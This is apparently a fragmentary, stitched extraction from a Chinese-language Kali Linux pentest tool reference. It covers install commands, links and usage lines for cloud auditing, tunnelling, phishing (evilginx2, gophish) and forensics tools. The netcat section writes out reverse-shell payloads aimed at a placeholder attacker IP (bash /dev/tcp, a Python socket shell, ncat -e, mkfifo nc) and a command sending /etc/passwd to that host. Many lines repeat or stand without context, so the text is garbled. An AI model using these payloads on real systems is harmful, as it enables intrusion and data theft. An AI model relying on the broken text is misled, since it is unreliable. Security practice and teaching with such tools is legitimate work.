x-glacier/kali-pentest

- [ScoutSuite GitHub](https://github.com/nccgroup/ScoutSuite)

- [Prowler Documentation](https://docs.prowler.com/)

- [Kubernetes Documentation](https://kubernetes.io/docs/)

- [Docker Documentation](https://docs.docker.com/)

sudo apt install azurehound

wget https://github.com/SpecterOps/AzureHound/releases/latest/download/azurehound-linux-amd64.zip

sudo mv azurehound /usr/local/bin/

# 通过 API 将收集的数据上传到 BloodHound CE curl -X POST https://<bloodhound-ce>/api/v2/file-upload \

curl -X POST https://<bloodhound-ce>/api/v2/file-upload \

- [AzureHound (GitHub)](https://github.com/SpecterOps/AzureHound)

- [azurehound — Kali Tools](https://www.kali.org/tools/azurehound/)

git clone https://github.com/docker/docker-bench-security.git

sudo ./docker-bench-security.sh -l /tmp/docker-bench.log

- [docker-bench-security GitHub](https://github.com/docker/docker-bench-security)

- [kube-bench GitHub](https://github.com/aquasecurity/kube-bench)

curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash

curl -s https://raw.githubusercontent.com/kubescape/kubescape/master/install.sh | /bin/bash

- [Kubescape Documentation](https://kubescape.io/docs/)

- [Kubescape GitHub](https://github.com/kubescape/kubescape)

sudo apt install pacu

- [Pacu GitHub](https://github.com/RhinoSecurityLabs/pacu)

- [Kali pacu](https://www.kali.org/tools/pacu/)

sudo apt install peirates

wget https://github.com/inguardians/peirates/releases/latest/download/peirates-linux-amd64.tar.xz

sudo mv peirates /usr/local/bin/

| `-m <module>` | 从菜单运行指定模块（标有 `*` 的菜单项支持此选项） | | `-t <token>` | 用于认证的 JWT 令牌 | | `-u <url>` | API 服务器 URL，例如 `https://10.96.0.1:6443`（默认为空：`https://:`） |

| `-t <token>` | 用于认证的 JWT 令牌 | | `-u <url>` | API 服务器 URL，例如 `https://10.96.0.1:6443`（默认为空：`https://:`） | | `-v` | 详细模式——显示调试信息 |

| `-u <url>` | API 服务器 URL，例如 `https://10.96.0.1:6443`（默认为空：`https://:`） |

# 使用指定的 API 服务器 URL 启动 peirates -u https://10.96.0.1:6443

peirates -u https://10.96.0.1:6443

- [peirates (GitHub)](https://github.com/inguardians/peirates)

- [peirates — Kali Tools](https://www.kali.org/tools/peirates/)

- [Prowler Documentation](https://docs.prowler.com/)

- [Prowler GitHub](https://github.com/prowler-cloud/prowler)

- [ScoutSuite GitHub](https://github.com/nccgroup/ScoutSuite)

RUN apt-get update -qq &&      apt-get install -y --no-install-recommends        nmap masscan gobuster ffuf sqlmap nikto        hydra john hashcat wordlists        metasploit-framework &&      apt-get clean && rm -rf /var/lib/apt/lists/*

apt-get clean && rm -rf /var/lib/apt/lists/*

- [Kali Linux Docker Hub](https://hub.docker.com/u/kalilinux)

- [Kali Linux Docker 官方文档](https://www.kali.org/docs/containers/official-kalilinux-docker-images/)

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

# sudo 需要 TTY——使用 ssh -t：

[Credential-related source omitted]

[Credential-related source omitted]

**[socat](tools/socat.md)** — 高级网络中继与 Shell 升级工具   netcat 的增强版继承者，支持 TCP、UDP、TLS 加密套接字和 PTY 伪终端。最适合将基础 Shell 升级为完全交互式 TTY、创建加密 C2 通道，以及通过跳板进行端口转发。

netcat 的增强版继承者，支持 TCP、UDP、TLS 加密套接字和 PTY 伪终端。最适合将基础 Shell 升级为完全交互式 TTY、创建加密 C2 通道，以及通过跳板进行端口转发。

- [Kali Tools](https://www.kali.org/tools/all-tools/)

sudo apt install chisel

|------|------| | `client` | 以客户端模式运行 | | `<server>` | 攻击端服务器 URL（如 http://192.168.1.10:8080 ） |

| `client` | 以客户端模式运行 | | `<server>` | 攻击端服务器 URL（如 http://192.168.1.10:8080 ） | | `<remote>` | 隧道规格：`R:socks`（反向 SOCKS）或 `<local>:<remote-host>:<remote-port>` |

| `<server>` | 攻击端服务器 URL（如 http://192.168.1.10:8080 ） |

- [chisel GitHub](https://github.com/jpillora/chisel)

sudo apt install coercer

- [Coercer (GitHub)](https://github.com/p0dalirius/Coercer)

- [Kali coercer](https://www.kali.org/tools/coercer/)

sudo apt install dns2tcp

- Kali Tools: https://www.kali.org/tools/dns2tcp/

- GitHub: https://github.com/alex-sector/dns2tcp

sudo apt install evil-winrm

- [Evil-WinRM GitHub](https://github.com/Hackplayers/evil-winrm)

sudo apt install evilginx2

sudo evilginx2 -p /usr/share/evilginx2/phishlets

sudo evilginx2 -developer

- [evilginx2 (GitHub)](https://github.com/kgretzky/evilginx2)

- [Kali evilginx2](https://www.kali.org/tools/evilginx2/)

sudo apt update

sudo apt install getsploit

[Credential-related source omitted]

- [getsploit GitHub](https://github.com/vulnersCom/getsploit)

- [Kali getsploit](https://www.kali.org/tools/getsploit/)

sudo apt install gophish

# 或从 GitHub releases 下载 wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip

wget https://github.com/gophish/gophish/releases/latest/download/gophish-v0.12.1-linux-64bit.zip

sudo gophish

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

"smtp": {"name": "Internal SMTP"},     "groups": [{"name": "Finance Team"}],     "url": "https://phish.example.com"

"groups": [{"name": "Finance Team"}],     "url": "https://phish.example.com"   }'

"url": "https://phish.example.com"

# 获取所有活动 curl -k https://localhost:3333/api/campaigns/ \

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

# 获取特定活动结果 curl -k https://localhost:3333/api/campaigns/1/results \

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

- GitHub: https://github.com/gophish/gophish

- Kali Tools: https://www.kali.org/tools/gophish/

# 从源码安装（fortra 是当前的 GitHub 组织；SecureAuth 已将项目转移给 Fortra） git clone https://github.com/fortra/impacket

git clone https://github.com/fortra/impacket

5. **时钟同步**：Kerberos 攻击要求时钟与域控同步（±5 分钟），使用 `sudo ntpdate dc.domain.com` 或 `sudo ntpdate -u dc.domain.com` 同步。

- [impacket GitHub](https://github.com/fortra/impacket)

- [impacket README](https://github.com/fortra/impacket/blob/master/README.md)

sudo apt install iodine

sudo iodined -f -c -P secretpass 10.0.0.1/24 t1.example.com

sudo iodined -f -c -P secretpass -n 203.0.113.10 10.0.0.1/24 t1.example.com

sudo iodine -f -P secretpass t1.example.com

sudo iodine -f -P secretpass 8.8.8.8 t1.example.com

sudo iodine -f -P secretpass -T TXT t1.example.com

- [iodine GitHub](https://github.com/yarrick/iodine)

- [Kali iodine](https://www.kali.org/tools/iodine/)

sudo apt install ligolo-ng

sudo ip tuntap add user $(whoami) mode tun ligolo

sudo ip link set ligolo up

sudo ip route add 10.0.0.0/24 dev ligolo

- [ligolo-ng (GitHub)](https://github.com/nicocha30/ligolo-ng)

- [Kali ligolo-ng](https://www.kali.org/tools/ligolo-ng/)

# 通过官方安装脚本安装 curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall

rm /tmp/file                         # 删除文件

- [Metasploit 文档](https://docs.metasploit.com/)

- [Metasploit Framework GitHub](https://github.com/rapid7/metasploit-framework)

- [Rapid7 漏洞数据库](https://www.rapid7.com/db/)

sudo apt install mitm6

- [mitm6 (GitHub)](https://github.com/dirkjanm/mitm6)

- [Kali mitm6](https://www.kali.org/tools/mitm6/)

sudo apt install metasploit-framework

[Credential-related source omitted]

- [Metasploit Framework (GitHub)](https://github.com/rapid7/metasploit-framework)

- [Metasploit Documentation](https://docs.metasploit.com/)

- [Running Modules (Using Metasploit)](https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html)

- [Database Support](https://docs.metasploit.com/docs/using-metasploit/intermediate/metasploit-database-support.html)

sudo apt install metasploit-framework

- [如何使用 msfvenom（GitHub Wiki）](https://github.com/rapid7/metasploit-framework/wiki/How-to-use-msfvenom)

- [msfvenom 文档](https://docs.metasploit.com/docs/using-metasploit/basics/how-to-use-msfvenom.html)

sudo apt update

sudo apt install mssqlpwner

- [MSSqlPwner GitHub](https://github.com/ScorpionesLabs/MSSqlPwner)

- [Kali mssqlpwner](https://www.kali.org/tools/mssqlpwner/)

sudo apt install ncat netcat-openbsd

sudo apt install ncat netcat-openbsd

| `-n` | 不做 DNS 解析 | | `-p PORT` | 指定端口 | | `-e CMD` | 连接后执行的程序（传统 netcat；**OpenBSD netcat 不支持**，而 Kali 默认的 `nc` 正是 OpenBSD 版本）|

| `-p PORT` | 指定端口 | | `-e CMD` | 连接后执行的程序（传统 netcat；**OpenBSD netcat 不支持**，而 Kali 默认的 `nc` 正是 OpenBSD 版本）| | `-u` | UDP 模式 |

| `-e CMD` | 连接后执行的程序（传统 netcat；**OpenBSD netcat 不支持**，而 Kali 默认的 `nc` 正是 OpenBSD 版本）|

| `-u` | UDP 模式 | | `-w N` | 超时等待秒数 | | `-z` | 零 IO 模式（端口扫描；ncat 和传统 nc 均支持）|

| `-w N` | 超时等待秒数 | | `-z` | 零 IO 模式（端口扫描；ncat 和传统 nc 均支持）| | `-k` | 设置套接字 keepalive 选项 |

| `-z` | 零 IO 模式（端口扫描；ncat 和传统 nc 均支持）|

# === 反弹 Shell 监听（Kali 攻击机）=== nc -lvnp 4444

nc -lvnp 4444

ncat -lvnp 4444

# === 反弹 Shell Payload（目标机器执行）=== # Bash bash -i >& /dev/tcp/<kali-ip>/4444 0>&1

bash -i >& /dev/tcp/<kali-ip>/4444 0>&1

bash -i >& /dev/tcp/<kali-ip>/4444 0>&1

# Python3 python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<kali-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

python3 -c 'import socket,subprocess,os;s=socket.socket();s.connect(("<kali-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# 注意：Kali 默认的 nc（OpenBSD 变体）不支持 -e # 使用 ncat（来自 nmap 包），它支持 --exec / -e： ncat <kali-ip> 4444 -e /bin/bash

ncat <kali-ip> 4444 -e /bin/bash

ncat <kali-ip> 4444 -e /bin/bash

# nc（无 -e 参数，使用 mkfifo） rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <kali-ip> 4444 > /tmp/f

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <kali-ip> 4444 > /tmp/f

rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <kali-ip> 4444 > /tmp/f

# === 文件传输 === # 接收端（Kali） nc -lvnp 4444 > received_file

nc -lvnp 4444 > received_file

# 发送端（目标）——添加 -N 让 nc 在 EOF 时关闭套接字，使传输干净地结束

nc -N <kali-ip> 4444 < /etc/passwd

# === 端口扫描（简单）=== # 注意：ncat 支持 -z，但传统 nc（OpenBSD）支持情况不一；大范围扫描推荐使用 nmap

# 注意：ncat 支持 -z，但传统 nc（OpenBSD）支持情况不一；大范围扫描推荐使用 nmap

nc -zv 192.168.1.100 1-1000 2>&1 | grep open

# === 端口转发（简单）=== # 将本地 8080 转发到 target:80 nc -l 8080 | nc target.com 80

nc -l 8080 | nc target.com 80

2. 获得基础 Shell 后用 Python3 pty 升级为完全交互式 TTY——参见上方"Shell 稳定化"章节。 3. 加密 Shell 或高级 PTY 功能请使用 `socat`——见 `socat.md`。 4. `ncat --ssl` 创建加密的 netcat 连接——流量监控敏感的环境下使用。

3. 加密 Shell 或高级 PTY 功能请使用 `socat`——见 `socat.md`。 4. `ncat --ssl` 创建加密的 netcat 连接——流量监控敏感的环境下使用。 5. 在实验室环境中始终使用非标准端口（非 80/443/22）作为监听端口，避免与运行中的服务冲突。

4. `ncat --ssl` 创建加密的 netcat 连接——流量监控敏感的环境下使用。

- [Ncat（nmap 版本）](https://nmap.org/ncat/)

- [静态二进制文件（socat、nmap 等）](https://github.com/andrew-d/static-binaries)

sudo apt update

sudo apt install odat

- [ODAT GitHub](https://github.com/quentinhardy/odat)

- [Kali ODAT](https://www.kali.org/tools/odat/)

- [proxytunnel GitHub](https://github.com/proxytunnel/proxytunnel)

- [Kali proxytunnel](https://www.kali.org/tools/proxytunnel/)

sudo apt install routersploit

git clone https://github.com/threat9/routersploit.git

- [routersploit GitHub](https://github.com/threat9/routersploit)

- [Kali routersploit](https://www.kali.org/tools/routersploit/)

- [Exploit-DB](https://www.exploit-db.com/)

- [ExploitDB GitLab](https://gitlab.com/exploit-database/exploitdb)

- [Google Hacking Database](https://www.exploit-db.com/google-hacking-database)

- [Exploit-DB Papers](https://www.exploit-db.com/papers)

- [Exploit-DB Shellcodes](https://www.exploit-db.com/shellcodes)

- [Social-Engineer Toolkit GitHub](https://github.com/trustedsec/social-engineer-toolkit)

- [Kali set](https://www.kali.org/tools/set/)

sudo apt install smbclient

- [smbclient 手册页](https://www.samba.org/samba/docs/current/man-html/smbclient.1.html)

一款双向数据中继工具，可连接任意两个地址端点——TCP、UDP、Unix 套接字、TLS/SSL、伪终端、文件等均支持。比 netcat 更强大：可创建加密反向 Shell、将基础 Shell 升级为完全交互式 TTY、设置持久化多客户端监听器、通过跳板进行端口转发。几乎所有 Linux 系统上均预装。

sudo apt install socat

# 基础 TCP 监听器（等效于 netcat -lvnp）

- [socat Debian man page](https://manpages.debian.org/socat/socat.1.en.html)

- [Kali socat](https://www.kali.org/tools/socat/)

sudo apt update

sudo apt install veil

- [Veil GitHub](https://github.com/Veil-Framework/Veil)

- [Kali Veil](https://www.kali.org/tools/veil/)

- [Kali Tools](https://www.kali.org/tools/all-tools/)

sudo apt install bulk-extractor

- [bulk-extractor (GitHub)](https://github.com/simsong/bulk_extractor)

- [Kali bulk-extractor](https://www.kali.org/tools/bulk-extractor/)

sudo apt install chainsaw

1. 单独下载 Sigma 规则和映射文件：`git clone https://github.com/SigmaHQ/sigma.git`

- [Chainsaw (GitHub)](https://github.com/WithSecureLabs/chainsaw)

- [Kali chainsaw](https://www.kali.org/tools/chainsaw/)

sudo apt install chkrootkit

sudo chkrootkit

sudo chkrootkit -q

sudo chkrootkit -x

sudo chkrootkit -r /mnt/evidence

sudo chkrootkit -p /mnt/trusted_bin

sudo chkrootkit -n

sudo chkrootkit -e "/tmp /var/tmp"

sudo chkrootkit chkutmp

sudo chkrootkit -q > /tmp/chkrootkit_report.txt 2>&1

- [chkrootkit Official Site](http://www.chkrootkit.org/)

- [Kali chkrootkit](https://www.kali.org/tools/chkrootkit/)

sudo apt install dc3dd

- [dc3dd Debian man page](https://manpages.debian.org/dc3dd/dc3dd.1.en.html)

- [Kali dc3dd](https://www.kali.org/tools/dc3dd/)

sudo apt install dcfldd

- [Kali dcfldd](https://www.kali.org/tools/dcfldd/)

- [dcfldd (GitHub)](https://github.com/resurrecting-open-source-projects/dcfldd)

sudo apt install gddrescue

sudo ddrescue /dev/sdb /mnt/output/disk.img /mnt/output/disk.map

sudo ddrescue -n /dev/sdb /mnt/output/disk.img /mnt/output/disk.map

sudo ddrescue -r 3 /dev/sdb /mnt/output/disk.img /mnt/output/disk.map

sudo ddrescue -R -r 3 /dev/sdb /mnt/output/disk.img /mnt/output/disk.map

sudo ddrescue -d -n /dev/sdb /mnt/output/disk.img /mnt/output/disk.map

sudo ddrescue -v --log-events /mnt/output/events.log /dev/sdb /mnt/output/disk.img /mnt/output/disk.map

sudo ddrescue -s 1G /dev/sdb /mnt/output/partial.img /mnt/output/partial.map

sudo ddrescue -b 4096 /dev/sdb /mnt/output/disk.img /mnt/output/disk.map

sudo ddrescue -f /dev/sdb /mnt/output/disk.img /mnt/output/disk.map

- [GNU ddrescue (Official)](https://www.gnu.org/software/ddrescue/)

sudo apt install libimage-exiftool-perl

1. 务必在证据文件的副本上操作——仅在有意修改源文件时才使用 `-overwrite_original`。 2. EXIF 中的 GPS 坐标可转换为 Google Maps 链接：`https://maps.google.com/?q=<lat>,<lon>` 。

2. EXIF 中的 GPS 坐标可转换为 Google Maps 链接：`https://maps.google.com/?q=<lat>,<lon>` 。

- [ExifTool 官方网站](https://exiftool.org/)

- [ExifTool Application Documentation](https://exiftool.org/exiftool_pod.html)

- [ExifTool 标签名称参考](https://exiftool.org/TagNames/)

- [ExifTool (GitHub)](https://github.com/exiftool/exiftool)

sudo apt install foremost

- [Foremost (SourceForge)](http://foremost.sourceforge.net/)

- [Kali foremost](https://www.kali.org/tools/foremost/)

sudo apt install hashdeep

- [hashdeep GitHub](https://github.com/jessek/hashdeep)

- [Kali hashdeep](https://www.kali.org/tools/hashdeep/)

sudo apt install plaso

- [plaso (GitHub)](https://github.com/log2timeline/plaso)

- [plaso Documentation](https://plaso.readthedocs.io/)

- [plaso — Kali Tools](https://www.kali.org/tools/plaso/)

sudo apt install regripper

- [RegRipper 3.0 (GitHub)](https://github.com/keydet89/RegRipper3.0)

- [Kali regripper](https://www.kali.org/tools/regripper/)

sudo apt install rkhunter

sudo rkhunter --check

sudo rkhunter --check --skip-keypress

sudo rkhunter --check --report-warnings-only --skip-keypress

sudo rkhunter --update

sudo rkhunter --propupd

sudo rkhunter --versioncheck

sudo rkhunter --check --enable rootkits,trojans --skip-keypress

sudo rkhunter --check --disable apps --skip-keypress

sudo rkhunter --cronjob --logfile /var/log/rkhunter.log

- [rkhunter Official Site](https://rkhunter.sourceforge.net/)

- [Kali rkhunter](https://www.kali.org/tools/rkhunter/)

sudo apt install scalpel

sudo nano /etc/scalpel/scalpel.conf

sudo scalpel -c /etc/scalpel/scalpel.conf -o /tmp/carved/ /dev/sdb

- [Kali scalpel](https://www.kali.org/tools/scalpel/)

- [scalpel (GitHub - Sleuth Kit)](https://github.com/sleuthkit/scalpel)

sudo apt install sleuthkit

- [The Sleuth Kit](https://www.sleuthkit.org/)

- [sleuthkit (GitHub)](https://github.com/sleuthkit/sleuthkit)

- [sleuthkit — Kali Tools](https://www.kali.org/tools/sleuthkit/)

sudo apt install ssdeep

- [ssdeep Official Site](https://ssdeep-project.github.io/ssdeep/)

- [Kali ssdeep](https://www.kali.org/tools/ssdeep/)

sudo apt install steghide

- [Steghide 官方网站](http://steghide.sourceforge.net/)

- [Stegseek - 推荐替代方案 (GitHub)](https://github.com/RickdeJager/stegseek)

# 不在 Kali apt 仓库中；从 GitHub releases 安装 .deb 包： wget https://github.com/RickdeJager/stegseek/releases/latest/download/stegseek_0.6-1.deb

wget https://github.com/RickdeJager/stegseek/releases/latest/download/stegseek_0.6-1.deb

- [stegseek（GitHub）](https://github.com/RickdeJager/stegseek)

sudo apt install tcpdump

- [tcpdump man page](https://www.tcpdump.org/manpages/tcpdump.1.html)

- [Kali tcpdump](https://www.kali.org/tools/tcpdump/)

sudo apt install tcpflow

sudo tcpflow -i eth0 -o /tmp/flows/

sudo tcpflow -i eth0 -o /tmp/flows/ "dst port 22"

- [Kali tcpflow](https://www.kali.org/tools/tcpflow/)

- [tcpflow (GitHub)](https://github.com/simsong/tcpflow)

sudo apt install testdisk

sudo testdisk /log

sudo testdisk /log /dev/sda

sudo testdisk /cmd /dev/sda analyze

sudo testdisk /cmd /dev/sda search

sudo testdisk /debug /log /dev/sda

sudo photorec /log /dev/sda

sudo photorec /d /tmp/recovered/ /log /dev/sda

sudo photorec /cmd /dev/sda1 fileopt,everything,enable,search

- [TestDisk Official Documentation](https://www.cgsecurity.org/wiki/TestDisk)

- [Kali testdisk](https://www.kali.org/tools/testdisk/)

sudo apt install wireshark

- [tshark man page](https://www.wireshark.org/docs/man-pages/tshark.html)

- [Kali wireshark/tshark](https://www.kali.org/tools/wireshark/)

sudo apt install volatility3

# 注意：/proc/kcore 是内核运行时的 ELF core 文件，大小不固定，不一定能完整捕获内存 # 推荐使用 LiME（Linux Memory Extractor）内核模块获取可靠的完整内存转储： # git clone https://github.com/504ensicsLabs/LiME

# 推荐使用 LiME（Linux Memory Extractor）内核模块获取可靠的完整内存转储： # git clone https://github.com/504ensicsLabs/LiME # cd LiME/src && make && insmod lime-*.ko "path=/tmp/memory.raw format=raw"

# git clone https://github.com/504ensicsLabs/LiME

sudo dd if=/proc/kcore of=/tmp/memory.raw bs=1M 2>/dev/null || true  # 备用方案（功能有限）

- [Volatility3 文档](https://volatility3.readthedocs.io/)

- [Volatility3 (GitHub)](https://github.com/volatilityfoundation/volatility3)

sudo apt install yara

# 下载 YARA 规则集 git clone https://github.com/Yara-Rules/rules.git /opt/yara-rules

git clone https://github.com/Yara-Rules/rules.git /opt/yara-rules

- [YARA Documentation](https://yara.readthedocs.io/)

- [YARA (GitHub)](https://github.com/VirusTotal/yara)

- [yara — Kali Tools](https://www.kali.org/tools/yara/)

- [Kali Tools](https://www.kali.org/tools/all-tools/)

sudo apt update

sudo apt install altdns

- [altdns GitHub](https://github.com/infosec-au/altdns)

- [Kali altdns](https://www.kali.org/tools/altdns/)

sudo apt install amass

[Credential-related source omitted]

[Credential-related source omitted]

[Credential-related source omitted]

- [OWASP Amass GitHub](https://github.com/owasp-amass/amass)

- [Amass 文档](https://owasp-amass.github.io/docs)

sudo apt install arp-scan

sudo arp-scan -l

sudo arp-scan -I eth0 -l

sudo arp-scan 192.168.1.0/24

sudo arp-scan 192.168.1.1 192.168.1.2 192.168.1.100

sudo arp-scan -l --bandwidth 1000k

sudo arp-scan -l  # 默认会查询 MAC 厂商数据库

4. MAC 厂商查询依赖本地 OUI 数据库（`/usr/share/arp-scan/ieee-oui.txt`）；如厂商信息过时，可用 `sudo get-oui` 更新。

- [arp-scan GitHub](https://github.com/royhills/arp-scan)

- [Kali arp-scan](https://www.kali.org/tools/arp-scan/)

sudo apt install assetfinder

- [assetfinder（GitHub）](https://github.com/tomnomnom/assetfinder)

- [Kali assetfinder](https://www.kali.org/tools/assetfinder/)

sudo apt install autorecon

5. 需要多项依赖（nmap、gobuster、nikto 等）——在全新 Kali 上运行 `sudo apt install autorecon` 安装。

- [AutoRecon (GitHub)](https://github.com/AutoRecon/AutoRecon)

- [Kali autorecon](https://www.kali.org/tools/autorecon/)

sudo apt install certgraph

- [certgraph（GitHub）](https://github.com/lanrat/certgraph)

- [Kali certgraph](https://www.kali.org/tools/certgraph/)

sudo apt update

sudo apt install cloud-enum

- [cloud_enum GitHub](https://github.com/initstring/cloud_enum)

- [Kali cloud-enum](https://www.kali.org/tools/cloud-enum/)

sudo apt update

sudo apt install cloudbrute

- [CloudBrute GitHub](https://github.com/0xsha/CloudBrute)

- [Kali cloudbrute](https://www.kali.org/tools/cloudbrute/)

sudo apt install bind9-dnsutils

- [BIND 9 dig 手册页](https://bind9.readthedocs.io/en/latest/manpages.html#dig)

sudo apt install dmitry

- [DMitry GitHub](https://github.com/jaygreig86/dmitry)

sudo apt install dnsenum

- [dnsenum GitHub](https://github.com/fwaeytens/dnsenum)

- [Kali dnsenum](https://www.kali.org/tools/dnsenum/)

sudo apt update

sudo apt install dnsgen

- [dnsgen GitHub](https://github.com/AlephNullSK/dnsgen)

- [Kali dnsgen](https://www.kali.org/tools/dnsgen/)

sudo apt install dnsmap

- [dnsmap（GitHub）](https://github.com/resurrecting-open-source-projects/dnsmap)

- [Kali dnsmap](https://www.kali.org/tools/dnsmap/)

sudo apt install dnsrecon

- [dnsrecon GitHub](https://github.com/darkoperator/dnsrecon)

sudo apt install dnstwist

- [dnstwist (GitHub)](https://github.com/elceef/dnstwist)

- [Kali dnstwist](https://www.kali.org/tools/dnstwist/)

sudo apt install dnsx

- [dnsx (GitHub)](https://github.com/projectdiscovery/dnsx)

- [Kali dnsx](https://www.kali.org/tools/dnsx/)

sudo apt install eyewitness

# 单个目标 eyewitness --single http://target.com --web -d /tmp/

eyewitness --single http://target.com --web -d /tmp/

- [EyeWitness GitHub](https://github.com/RedSiege/EyeWitness)

sudo apt install fierce

- [fierce GitHub](https://github.com/mschwager/fierce)

sudo apt install finalrecon

# 全面侦察（运行所有模块） finalrecon --url http://example.com --full

finalrecon --url http://example.com --full

# 仅头部和 SSL 分析 finalrecon --url http://example.com --headers --sslinfo

finalrecon --url http://example.com --headers --sslinfo

# DNS + 子域名枚举 finalrecon --url http://example.com --dns --sub

finalrecon --url http://example.com --dns --sub

# Web 爬取 + Wayback URL finalrecon --url http://example.com --crawl --wayback

finalrecon --url http://example.com --crawl --wayback

# 端口扫描 + WHOIS finalrecon --url http://example.com --ps --whois

finalrecon --url http://example.com --ps --whois

- [finalrecon（GitHub）](https://github.com/thewhiteh4t/FinalRecon)

- [Kali finalrecon](https://www.kali.org/tools/finalrecon/)

sudo apt install findomain

- [Findomain（GitHub）](https://github.com/Findomain/Findomain)

- [Kali Findomain](https://www.kali.org/tools/findomain/)

sudo apt install fping

- [fping 官方网站](https://fping.org/)

- [Kali fping](https://www.kali.org/tools/fping/)

sudo apt install getallurls

# 使用代理 echo "example.com" | gau -p http://127.0.0.1:8080

echo "example.com" | gau -p http://127.0.0.1:8080

- [getallurls / gau（GitHub）](https://github.com/lc/gau)

- [Kali getallurls](https://www.kali.org/tools/getallurls/)

sudo apt install gowitness

# 单个 URL 截图（v3） gowitness scan single -u http://target.com --write-db

gowitness scan single -u http://target.com --write-db

#   v2.x 遗留：gowitness single http://target.com

gowitness report server --host 127.0.0.1 --port 7171 --db-uri sqlite://gowitness.sqlite3 #   v2.x 遗留：gowitness report serve --address 127.0.0.1:7171 # 访问 http://127.0.0.1:7171

# 访问 http://127.0.0.1:7171

# 使用代理（v3 使用 --chrome-proxy；v2 使用 --proxy） gowitness scan file -f urls.txt --chrome-proxy http://127.0.0.1:8080 --write-db

gowitness scan file -f urls.txt --chrome-proxy http://127.0.0.1:8080 --write-db

- [gowitness（GitHub）](https://github.com/sensepost/gowitness)

sudo apt install h8mail

- [h8mail（GitHub）](https://github.com/khast3x/h8mail)

- [Kali h8mail](https://www.kali.org/tools/h8mail/)

sudo apt install hakrawler

| `-subs` | 跟踪子域名链接 | | `-t <n>` | 线程数（默认：8） | | `-proxy <url>` | 代理 URL（如 http://127.0.0.1:8080） |

| `-t <n>` | 线程数（默认：8） | | `-proxy <url>` | 代理 URL（如 http://127.0.0.1:8080） | | `-h` | 自定义请求头（`"Name: value;;Name2: value2"` 格式，多个请求头以 `;;` 分隔） |

| `-proxy <url>` | 代理 URL（如 http://127.0.0.1:8080） |

# 爬取单个 URL echo https://example.com | hakrawler

echo https://example.com | hakrawler

# 爬取深度为 3 echo https://example.com | hakrawler -d 3

echo https://example.com | hakrawler -d 3

# 跟踪子域名 echo https://example.com | hakrawler -subs

echo https://example.com | hakrawler -subs

# 通过 Burp Suite 代理路由流量 echo https://example.com | hakrawler -proxy http://127.0.0.1:8080 -insecure

echo https://example.com | hakrawler -proxy http://127.0.0.1:8080 -insecure

# 提取 JavaScript 文件 echo https://example.com | hakrawler | grep '\.js$'

echo https://example.com | hakrawler | grep '\.js$'

- [hakrawler（GitHub）](https://github.com/hakluke/hakrawler)

- [Kali hakrawler](https://www.kali.org/tools/hakrawler/)

sudo apt install hosthunter

# 或从源码安装 git clone https://github.com/SpiderLabs/HostHunter.git

git clone https://github.com/SpiderLabs/HostHunter.git

- [HostHunter（GitHub）](https://github.com/SpiderLabs/HostHunter)

- [Kali HostHunter](https://www.kali.org/tools/hosthunter/)

sudo apt install httprobe

- [httprobe（GitHub）](https://github.com/tomnomnom/httprobe)

- [Kali httprobe](https://www.kali.org/tools/httprobe/)

sudo apt install httpx-toolkit

httpx-toolkit -u https://example.com -sc -title -td -server

httpx-toolkit -l targets.txt -sc -title -proxy http://127.0.0.1:8080 -rl 10 -threads 5

- [httpx - GitHub](https://github.com/projectdiscovery/httpx)

- [httpx - ProjectDiscovery Documentation](https://docs.projectdiscovery.io/tools/httpx/overview)

sudo apt install ldeep

- [ldeep（GitHub）](https://github.com/franc-pentest/ldeep)

- [Kali ldeep](https://www.kali.org/tools/ldeep/)

sudo apt install masscan

# 从源码编译 git clone https://github.com/robertdavidgraham/masscan

git clone https://github.com/robertdavidgraham/masscan

- [masscan GitHub](https://github.com/robertdavidgraham/masscan)

sudo apt update

sudo apt install massdns

- [massdns GitHub](https://github.com/blechschmidt/massdns)

- [Kali massdns](https://www.kali.org/tools/massdns/)

sudo apt install metagoofil

- [Metagoofil - GitHub](https://github.com/opsdisk/metagoofil)

- [Metagoofil - Kali Tools](https://www.kali.org/tools/metagoofil/)

sudo apt update

sudo apt install naabu

- [naabu GitHub](https://github.com/projectdiscovery/naabu)

- [naabu Documentation](https://docs.projectdiscovery.io/tools/naabu/overview)

- [Kali naabu](https://www.kali.org/tools/naabu/)

sudo apt update

sudo apt install nbtscan

- [nbtscan Project](http://www.unixwiz.net/tools/nbtscan.html)

- [Kali nbtscan](https://www.kali.org/tools/nbtscan/)

sudo apt install netdiscover

sudo netdiscover -r 192.168.1.0/24

sudo netdiscover -i eth0 -r 192.168.1.0/24

sudo netdiscover -p -i eth0

sudo netdiscover -r 10.0.0.0/24 -f

sudo netdiscover -r 192.168.1.0/24 -s 100

- [netdiscover GitHub](https://github.com/netdiscover-scanner/netdiscover)

- [Kali netdiscover](https://www.kali.org/tools/netdiscover/)

sudo apt install nmap

- [Nmap 参考指南](https://nmap.org/book/man.html)

- [Nmap NSE 脚本](https://nmap.org/nsedoc/)

